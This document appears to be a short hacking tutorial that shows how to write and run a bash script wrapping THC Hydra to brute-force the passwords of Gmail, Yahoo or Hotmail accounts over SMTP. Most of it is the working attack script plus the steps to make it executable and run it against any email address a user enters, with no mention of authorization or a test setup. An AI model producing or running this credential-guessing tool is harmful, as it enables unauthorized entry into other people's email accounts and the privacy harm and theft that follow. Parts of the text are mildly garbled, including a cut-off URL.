Brute-Force Email Using a Simple Bash Script
THC Hydra is very prominent online brute-force tool and has been featured in Null-Byte quite a lot. It is dictionary based, as you will have to provide a wordlist with possible passwords. You can read the README here: https://github.coLet's get started!
Step 1 :- Open Up Kali!
Of course, we will be using Kali Linux. I use mine on VMware Workstation, but it won't really matter what you use.Step 2:-Bash Time!
We're going to write a little bit of script, so that we can save some time instead of going through the hassle of actually typing out parameters.On Leafpad, type:
#! /bin/bash
echo Written By: Alan Cao
echo NOTE: Make sure you have wordlists!
echo Let us Begin:
echo Choose a SMTP service: Gmail = smtp.gmail.com / Yahoo = smtp.mail.yahoo.com / Hotmail = smtp.live.com /:
read smtp
echo Enter Email Address:
read email
echo Provide Directory of Wordlist for Passwords:
read wordlist
hydra -S -l $email -P $wordlist -e ns -V -s 465 $smtp smtp
And after you got it, save it as anything you want, but with .sh at the end. Make sure it is in the root directory. Not on your desktop, but in /root.
#! /bin/bash simply means that everything is in bash.
echo simply means to tell the computer to say something. For example, echo Hello World means to tell the computer to output Hello World.
read is asking for user input. this will then store your input into a variable. read email would mean for you to enter something, and it will be stored into the email.
Step 3 :-Permissions
We're not done yet! The file you have saved (in root, right?) only has read and write permissions. This means you cannot execute it.Let's open up Terminal. Type in
chmod a+x yourscript.sh (ofc replace yourscript with the name you actually gave to the bash file)
Step 4 :-Execute!
Now we can finally use it!In terminal, let's type
./yourscript.sh